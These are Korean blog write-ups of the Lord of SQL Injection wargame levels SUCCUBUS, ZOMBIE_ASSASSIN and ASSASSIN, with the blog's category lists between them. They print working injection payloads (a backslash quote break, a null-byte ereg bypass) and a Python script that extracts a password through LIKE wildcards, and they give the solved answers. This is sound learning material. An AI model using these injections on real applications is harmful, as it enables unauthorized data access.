select id from prob_succubus where id='' and pw=''


이렇게 생겼지만 잘보면 \를 필터링 안하고 있다.


'앞에 \가 붙어버리면 다른 문자로 인식해버리기 때문에 



id=' \' and pw=' 

저 부분을 전부 id로 인식해 버린다. 즉 뒤에다가 || 연산만 더해주면 끝


http://los.sandbox.cash/chall/succubus_1e73ac44ec838508bd2b2ce2026af8cf.php?id=\&pw=||1%23


뒤에를 주석처리해주면 된다.

'War Game > LOS' 카테고리의 다른 글

LOS Cobolt  (0) 2019.06.10
LOS DARK_EYES  (0) 2015.10.24
LOS ZOMBIE_ASSASSIN  (0) 2015.10.23
LOS ASSASSIN  (0) 2015.10.23
LOS GIANT  (0) 2015.10.23


자 문제를 보면 
  if(@ereg("'",$_GET[id])) exit("HeHe"); 
  if(@
ereg("'",$_GET[pw])) exit("HeHe"); 

ereg가 있다.


존나 취약하다


ereg 와 eregi는 존나 취약하다

ereg는  null값까지만 받고



떄문에 %00을 넣어주고 


id=%00'||1%23

해주게 되면 id를 그만 입력받고 뒤에 값을 || 연산한후 뒤에 쿼리를 주석처리해 버린다.


http://los.sandbox.cash/chall/zombie_assassin_eb9c4ab86b8c26748f3ce3e91dcd4dd8.php?id=%00%27||1%23

'War Game > LOS' 카테고리의 다른 글

LOS DARK_EYES  (0) 2015.10.24
LOS SUCCUBUS  (0) 2015.10.23
LOS ASSASSIN  (0) 2015.10.23
LOS GIANT  (0) 2015.10.23
LOS BUGBEAR  (0) 2015.10.22

보아하니 %연산자를 이용한 공격이다.


pw like 'a%' 를 하게될 경우 a로 시작하는 모든 값을 검색한다. 즉 참이 된다



페이로드를 날려보면


import requests
 
 
 
key=""
site=""
header={'Cookie':'PHPSESSID=vj0mghpj5cs5n24hh6pr7r4ne6'}
for j in range(1,12):
        for i in reversed(range(48,91)):
                site="http://los.sandbox.cash/chall/assassin_dbfabd99373ea659e58407bc1a8438c6.php?pw="
                site+=key+chr(i)+"%"
                print (site)
                r=requests.put(site,headers=header)
                
                if "<br><h2>Hello guest" in r.text:
                        break
        key+=chr(i)
        print ("\nkey"+key+"\n")
                
print ("\n\n\nF\nKey is :"+key+" \n\n\n")

해보면 


90d2fe10


이게 답이라고 한다.


근데 아무리 해도 안나오는걸 보면 admin pw랑 겹치는 부분이 있는것 같다.


그래서 9% 90% 이런식으로 다시 한번 해보았다. 


정답이었다. 


902EFD10

'War Game > LOS' 카테고리의 다른 글

LOS SUCCUBUS  (0) 2015.10.23
LOS ZOMBIE_ASSASSIN  (0) 2015.10.23
LOS GIANT  (0) 2015.10.23
LOS BUGBEAR  (0) 2015.10.22
LOS DARKKNIGHT  (0) 2015.10.22

+ Recent posts